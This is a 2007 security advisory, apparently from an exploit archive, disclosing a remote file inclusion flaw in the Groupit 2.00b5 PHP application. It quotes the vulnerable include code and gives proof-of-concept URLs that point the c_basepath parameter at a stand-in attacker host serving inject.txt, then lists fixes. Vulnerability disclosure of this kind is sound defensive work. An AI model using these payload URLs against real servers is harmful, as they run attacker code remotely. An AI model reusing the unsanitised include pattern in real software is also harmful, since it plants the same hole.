what you don't know can hurt you

Echo Security Advisory 2007.75

Echo Security Advisory 2007.75
Posted Mar 20, 2007
Authored by Echo Security, Dedi Dwianto | Site advisories.echo.or.id

Groupit version 2.00b5 suffers from a remote file inclusion vulnerability.

tags | exploit, remote, file inclusion
MD5 | ebc221b306cee808ed1cc8bb5f2362e5

Echo Security Advisory 2007.75

Change Mirror Download
____________________   ___ ___ ________
\_ _____/\_ ___ \ / | \\_____ \
| __)_ / \ \// ~ \/ | \
| \\ \___\ Y / | \
/_______ / \______ /\___|_ /\_______ /
\/ \/ \/ \/ .OR.ID
ECHO_ADV_75$2007

-------------------------------------------------------------------------------------
[ECHO_ADV_75$2007] Groupit 2.00b5 (c_basepath) Remote File Inclusion Vulnerability
-------------------------------------- ----------------------------------------------

Author : Dedi Dwianto a.k.a the_day
Date Found : March, 15th 2007
Location : Indonesia, Jakarta
web : http://advisories.echo.or.id/adv/adv75-theday-2007.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Groupit
version : 2.00b5
URL : http://fresh.t-systems-sfr.com/fresh/unix/src/privat2/groupit-2.00b5.tar.gz

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~

- Invalid include function at html/content.php
-----------------------html/content.php------------

<?
...
include "$c_basepath/base/groupit.start.inc";

if (!empty($c_is_search))
{
include "$c_basepath/modules/search/main.inc";
} else
{
if ($c_is_section)
{
include "$c_basepath/modules/content/section.inc";
} else
.........

include "$c_basepath/base/groupit.stop.inc";
?>
----------------------------------------------------------

Input passed to the "$c_basepath" parameter in load.inc.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

also affected files :

html/userprofile.php
html/password.php
html/dispatch.php
html/deliver.php

and More ....



Proof Of Concept:
~~~~~~~~~~~~

http://localhost/groupit/html/content.php?c_basepath=http://atacker.com/inject.txt?
http://localhost/groupit/html/userprofile.php?c_basepath=http://atacker.com/inject.txt?
http://localhost/groupit/html/password.php?c_basepath=http://atacker.com/inject.txt?

Solution:
~~~~

- Sanitize variable $c_basepath affected files.
- Turn off register_globals

---------------------------------------------------------------------------

Shoutz:
~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy Nice Girl
~ az001,bomm_3x,matdhule
~ newbie_hacker@yahoogroups.com
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~
EcHo Research & Development Center
http://advisories.echo.or.id
erdc[at]echo[dot]or[dot]id
the_day[at]echo[dot]or[dot]id

-------------------------------- [ EOF ]----------------------------------
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